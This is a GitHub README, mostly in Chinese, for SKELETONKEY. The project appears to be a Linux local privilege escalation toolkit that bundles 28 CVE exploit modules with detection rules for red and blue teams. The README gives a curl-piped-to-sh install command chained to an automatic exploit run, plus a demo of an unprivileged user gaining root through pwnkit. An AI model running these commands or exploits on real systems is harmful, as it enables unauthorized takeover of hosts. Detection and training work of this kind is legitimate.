KaraZajac/SKELETONKEY
GitHub: KaraZajac/SKELETONKEY
一个持续维护的Linux本地提权(LPE)漏洞利用与检测规则集成工具集,旨在为红蓝队提供标准化、自动化且安全的渗透测试与威胁检测能力。
Stars: 0 | Forks: 0
# SKELETONKEY
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[](LICENSE)
[](CVES.md)
[](#)
```
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
&& skeletonkey --auto --i-know
```
## 为何使用
大多数 Linux 提权工具存在以下三种问题之一:
- **`linux-exploit-suggester` / `linpeas`** — 仅提示哪些*可能*有效,并不实际执行
- **`auto-root-exploit` / `kernelpop`** — 打包了漏洞利用代码,但缺乏检测特征且早已停止更新多年
- **单个 CVE 的 PoC 仓库** — 单一作者,针对特定发行版,数月内即被弃用
SKELETONKEY 是一个单一可执行文件,持续维护,并为捆绑包中的每个 CVE 提供检测规则 — 是同一个同时适用于红队和蓝队的项目。
## 适用对象
| 受众 | 您将获得 |
|---|---|
| **红队 / 渗透测试人员** | 一个经过测试的二进制文件。`--auto` 根据安全性对易受攻击的模块进行排序并运行最安全的一个。诚实的作用域报告 — 绝不声称获得了实际未得到的 root 权限。 |
| **系统管理员** | `skeletonkey --scan`(无需 sudo)可告知您哪些主机仍需打补丁。包含集群扫描工具。JSON 输出适用于 CI 门禁。 |
| **蓝队 / SOC** | 针对每个 CVE 的 auditd + sigma + yara + falco 规则。`--detect-rules --format=auditd \| sudo tee …` 一条命令即可生成 SIEM 覆盖规则。 |
| **CTF / 训练** | 基于公开 CVE、跨越 10 年时间线的可复现本地提权环境。每个模块都记录了漏洞、触发条件和修复方法。 |
## 语料概览
**28 个模块**,涵盖 2016 → 2026 年的本地提权时间线:
| 等级 | 数量 | 含义 |
|---|---|---|
| 🟢 完整链 | **14** | 可端到端获取 root 权限(或其等效能力)。无需针对特定内核的偏移量。 |
| 🟡 原语 | **14** | 触发内核原语 + 塑造 slab + 记录见证。默认会诚实地返回 `EXPLOIT_FAIL`。传递 `--full-chain` 以启用共享的 `modprobe_path` 完成器(需要偏移量 — 参见 [`docs/OFFSETS.md`](docs/OFFSETS.md))。 |
**🟢 在易受攻击主机上获取 root 的模块:**
copy_fail 系列 ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
(KASLR 泄露原语)
**🟡 可选 `--full-chain` 的模块:**
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
参见 [`CVES.md`](CVES.md) 了解每个模块对应的 CVE、内核范围和检测状态。
## 快速入门
```
# 安装(x86_64 / arm64;校验和已验证)
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
# 此系统存在什么漏洞?(无需sudo权限)
skeletonkey --scan
# 选择最安全的LPE并执行
skeletonkey --auto --i-know
# 部署检测规则(需sudo权限写入 /etc/audit/rules.d/)
skeletonkey --detect-rules --format=auditd \
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
# Fleet扫描 — 通过SSH连接多台主机,生成聚合JSON供SIEM使用
./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
--ssh-key ~/.ssh/id_rsa hosts.txt
```
**SKELETONKEY 以普通非特权用户身份运行** — 这正是其设计要点。
`--scan`、`--audit`、`--exploit` 和 `--detect-rules` 均无需
`sudo` 即可工作。只有 `--mitigate` 和规则文件安装会写入 root 所有的路径。
### 示例:非特权 → root
```
$ id
uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64
[*] auto: scanning 28 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
[*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100).
[*] auto: launching --exploit pwnkit...
[+] pwnkit: writing gconv-modules cache + payload.so...
[+] pwnkit: execve(pkexec) with NULL argv + crafted envp...
# id
uid=0(root) gid=0(root) groups=0(root)
```
安全等级排序如下:**结构性逃逸**(不触及内核状态)→ **页面缓存写入** → **用户空间凭证竞争** →
**内核原语** → **内核竞争**(最不可预测)。目标是
在寻找 root 权限时绝不崩溃生产服务器。
## 工作原理
每个 CVE(或紧密相关的家族)是 `modules/` 目录下的一个**模块**。
模块导出一个标准接口(`detect / exploit / mitigate /
cleanup`)以及元数据(内核范围、检测规则文本)。顶层
二进制文件根据命令进行调度:
- `--scan` 对运行的主机遍历每个模块的 `detect()`
- `--exploit --i-know` 运行指定模块的漏洞利用(`--i-know` 标志是授权门禁)
- `--auto --i-know` 执行扫描,按安全性排序,运行最安全的一个
- `--detect-rules --format=` 输出内嵌的规则语料库
- `--mitigate ` / `--cleanup ` 应用 / 撤销临时缓解措施(取决于模块 — 多数内核模块会建议“升级”)
- `--dump-offsets` 读取 `/proc/kallsyms` + `/boot/System.map` 并生成一个可直接粘贴到 `--full-chain` 偏移量表的 C 语言条目
参见 [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) 了解模块加载器设计。
## 已验证 vs 声称的标准
大多数公开的 PoC 仓库为特定内核版本硬编码了偏移量,在其他地方会静默失败。SKELETONKEY 拒绝提供伪造的偏移量。共享的 `--full-chain` 完成器仅在 setuid bash 哨兵文件*实际出现*后返回 `EXPLOIT_OK`;否则模块会诚实地返回 `EXPLOIT_FAIL` 并附带诊断信息。操作者通过 `skeletonkey --dump-offsets` 为每个目标内核填充一次偏移量表,然后通过环境变量设置或通过 PR 提交条目 ([`CONTRIBUTING.md`](CONTRIBUTING.md))。
## 从源码构建
```
git clone https://github.com/KaraZajac/SKELETONKEY.git
cd SKELETONKEY
make
./skeletonkey --version
```
在任何现代 Linux 上,使用 gcc 或 clang 均可干净构建。macOS 开发版本也可编译(具有 Linux 专有头文件的模块会被优雅地桩化处理)。
## 状态
**v0.5.0 于 2026-05-17 发布。** 28 个模块。在 Debian 13(内核 6.12)上均构建干净,并在已打补丁的主机上干净地拒绝执行。下一步路线图是在易受攻击的内核 VM 矩阵上进行实证端到端验证;在那之前,本语料库最好理解为“可编译 + 可检测 + 结构正确 + 失败时诚实”。
参见 [`ROADMAP.md`](ROADMAP.md) 了解计划中的后续模块和基础设施工作。
## 致谢
每个模块在其 `NOTICE.md` 中注明了原始 CVE 报告者和 PoC 作者。SKELETONKEY 是打包和记账层;研究的荣誉属于发现漏洞的人们。
## 许可证
MIT — 参见 [`LICENSE`](LICENSE)。
标签:API安全, CI集成, CTF工具, CVE模块, Falco规则, JSON输出, Linux提权, LPE工具, Sigma规则, SKELETONKEY, Web报告查看器, Yara规则, 内核漏洞, 子域名枚举, 安全测试, 审计规则, 客户端加密, 扫描工具, 攻击性安全, 检测规则, 漏洞搜索, 特权提升, 目标导入, 系统安全, 网络资产发现, 自动root, 自动化部署